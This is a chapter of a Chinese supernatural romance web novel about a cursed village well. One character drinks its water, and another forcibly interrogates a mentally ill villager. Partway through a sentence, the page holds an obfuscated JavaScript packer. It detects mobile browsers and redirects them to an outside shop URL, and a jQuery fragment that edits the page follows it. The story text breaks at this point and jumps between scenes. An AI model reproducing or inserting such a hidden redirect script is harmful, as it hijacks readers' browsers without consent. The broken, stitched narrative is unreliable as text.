文趣网 > 都市小说 > 在撞邪现场谈恋爱 > 25. 逼问
    “今天要晚点吃午饭,早饭多吃点。”

    第二天一大早,阿珍给他们送来白粥、各色腌小菜、自家做的米线和白面包,“阿敏今天早上发现井水发热,我们准备去隔壁村打点烧菜。”

    “井水发热是不是代表井里有问题?”

    阿珍问,眼下一片乌青,显然昨夜没睡好。

    “底下有温泉?”云南温泉多,宁栩第一反应就想到这个。

    “你这时候还这么讲科学?”白随嗤笑一声,这小子就是守规矩,干什么都是,“显然是我们要来调查它,它急得上火!”

    “昨天晚上还好好的,今天早上一摸就发现烫得厉害。它真的是在上火吗?井水也会上火?”阿珍天真懵懂,一向是白随说什么她就信什么。

    “总之不可能是巧合。”

    沈渡今天扎起马尾,干净利落,“至少我们现在能确定,有问题的一定是井。”

    “关于井,我昨天查到不少,我说给你们听听。”阿珍从口袋里掏出个本子,记得密密麻麻。

    “有三个是男人,一个是喝醉后不小心跌进去的,一个是在井边洗碗失足跌进去的,还有一个是和人斗殴脑袋磕到井身死的,都没有什么异样。”

    白随凑过去看一眼,本子上死者的姓名、年龄、死亡年份都写的清清楚楚,“你动作还真快。”

    “还有两个呢?”陆还明把玩着茶杯,目光落在后两个姓名上。

    “另外两个都是女人,死的都不简单。”阿珍压低声音,“一个叫王桂兰,是清朝光绪年间死的,因为私通,被人绑着扔进井里淹死的。另一个叫陈秀英,是民国三年死的,是自己投的井,穿的大红衣服,听说是因为和家里的哥嫂起争执一时想不开死的,但哥嫂遮遮掩掩,好像又有内情,村史上没有记,我问老人们也不知道。”

    “你们是真的猛。”白随想想就犯恶心,“尸水也敢喝。”

    “尸体早就不在井里。他们的子孙后辈觉得死者为大,不管什么事情都不用再追究,都好好安葬还做过超度。”

    阿珍对白随的话有些不满,“我们又不是野人。”

    “行行行,是我的错。”

    白随叼片面包,往椅背上一靠,不再说话。

    “既然已经超度,就不是他们在作乱。”宁栩转头看向一句话没说的陆还明,“你有什么想法?”

    “既然不是他们,那就是有别的东西,毕竟村民都是喝过井水出的问题。”

    陆还明不太耐烦,“你也不用问为什么阿珍没问题,如果所有人都能被东西影响,岂不是天下大乱,她心思单纯,没问题就是没问题。”

    “我哥哥也没什么坏心思。”阿珍有些着急,“他出事也和井水有关系吗?”

    “知人知面不知心。”

    白随刚说完又觉得不太好,“我的意思是,你哥也可能有事情觉得不方便和你说。”

    吃过早饭,各自回房。天气还是冷,沈渡想既然还不知道要待几天,不能再硬扛下去,决定去阿珍房间借条厚一点的毛毯。

    她路上正好撞见陆还明,他手上提着个袋子,看上去也是来借东西的。

    巷口的石板路有点滑,沈渡走得很慢。陆还明走在她右边,步子也不快。

    “你为什么要帮我?”沈渡问。

    陆还明偏过头看她一眼,没有笑意,“觉得和你很投缘,不行吗?”

    沈渡没接话,心想这话你信吗。

    “你找到阿寻了吗?”她又问。

    “没有。”陆还明的声音毫无起伏。

    “她是你的仇人?”沈渡试探着问,如果不是前世的仇人,他怎么会这样穷追不舍。

    陆还明不知道阿寻是不是自己的仇人,至少在他的记忆里他没有和这个人有过仇怨。从有记忆开始,他就一直被一种无由来的疼痛纠缠,三五日一次准得像上发条,发作起来让人生不如死。直到有一天他突然意识里出现一句话:杀掉阿寻,痛苦就会消失。此后,每次疼痛都会伴随着这句话。

    他只能相信。

    “为什么这样问?”

    沈渡低下头,看着脚下的石板路,“乱猜的。”

    “你花这么多精力找到她,如果你见到她,第一句话想说什么?”

    陆还明沉默片刻,他没想过那么多,“不知道。”

    “说不定你能和她做朋友。”风灌进巷口,沈渡把外套拉链拉到最上,“你好像没有朋友。”

    “你想和我做朋友?”

    陆还明没有朋友,没有亲人,他也不需要。即便沈渡和自己从前见过的女人都不一样,他也不觉得自己需要这么个朋友。

    不过如果自己成为她的朋友,那个男人应该会很生气。陆还明想,他平生最讨厌被人指手画脚,倒有点想看看宁栩吃瘪的样子。

    “和你做朋友是什么待遇?”沈渡望向远处的日落,太阳已经落下大半,只剩下山脊上一抹橘红色的光,像未燃尽的炭火,烧的她心慌。

    “没有好处,只有麻烦。”陆还明在岔路和沈渡分开,“你自己保重。”

    保重什么,说话和威胁一样,沈渡一个人抱着毯子回到房间,还在想陆还明的话。

    房间桌上放着一壶水,是她今天从井里打上来的。玻璃杯是满的,水清亮透明,看不出和矿泉水有任何区别。

    既然村民都是喝过水才出现的异样,那么要想知道到底是什么异样,井水是如何影响到人的心智,最好的办法就是自己喝一次。

    她没告诉宁栩,也没告诉任何人。她知道他们不会支持自己这样做,她也不是冲动,她是好好想过的。

    水是凉的,没有味道,咽下去什么感觉也没有。沈渡又喝下一口,还是什么都没有。最后,她仰头一饮而尽。

    她只能等,等该发生的事情发生。

    “先查查福寿坊吧。”沈渡扎起长发,往嘴

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671195|206017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里塞进一颗梅子提神。

    搜“福寿坊”,出来的不是游戏就是小说,偶尔有几家现代殡葬公司。她又加上自己的老家镇名—“双桥”,还是没找到什么有用的信息。

    几个小时过去,她在一个论坛里翻到一个人发帖说打算开个寿材店,问有没有靠谱的供货商推荐,发帖ip就是双桥。

    底下有人回复说,以前有一家老供货商,清末就开始做,给周围好几个镇子的店供货过,像从前的“仁和堂”“永顺斋”“福寿坊”都是找他拿的货。

    “清末……”沈渡打开那人的私信窗口,她记得梦里的外公就是晚清打扮,【您好,请问您在这条帖子里说的老供货商的联系方式可以发我一下吗?谢谢。】

    对方最近一次上线是两年前,沈渡长叹一口气关上手机在床上躺下,她真的很需要好好睡一觉。

    ————

    沈渡见识过陆还明的手段,但看到这些用在一个活生生的人身上时,她还是觉得难以接受。

    “你做什么?”沈渡刚吃过早饭,一出房间就看见陆还明把疯子绑在石凳上,黑瘦干枯的手腕上都是勒痕。

    “解决麻烦。”

    陆还明头也不抬,伸手掐住住疯子的下巴,掰过来,逼他看自己,“金子是什么?”

    疯子的喉咙里发出含混的声响,像是什么东西卡在里面,上不来下不去,他想往后缩,但石凳抵着背,只能把脖子往衣领里缩,“金子,金子。”

    疯子的下巴被掐出一片白印,嘴合不拢,口水从嘴角淌下来。

    “我再问你一次,金子是什么?”陆还明很有耐心,手下也不留情。

    “你逼问他一个疯子有什么用。”

    沈渡伸手想掰开陆还明的手,被他一把推开。

    “不是我不是我。”疯子开始颤抖起来,整个人像被电击一般,“不是我杀的,是金子,是金子杀的。”

    他一边说一边用颤抖的手指向井口,眼睛瞪得很大,“井里有金子!”

    陆还明没有再问。他站身,手插进口袋里,看着那口井。疯子还绑在凳腿上,缩着肩膀,低着头,嘴里还在念。

    “他说是井害死他家人的。”陆还明松松手腕,“从凌晨到现在,四个小时,终于肯吐口,去查查他家里人到底是怎么死的。我怀疑他和这口井做过交易,代价是家人的性命。”

    “你就这样逼问他四个小时?”沈渡冷冷地说,蹲下帮疯子解开绳子—他没挣扎也没伤人。

    “他被吓这么多年,也不差这一回。”陆还明轻笑一声,“要不是我,你四十个小时也没法和他对上话。”

    “你说话客气点。”

    宁栩从房间里出来,头发还没干透,碎发垂在额前,衬得眉眼比往日更凌厉。他径直走到沈渡面前,迎上陆还明的目光。

    他今天好像有些不一样。

    沈渡能听见自己的心跳,一声比一声更快,更沉。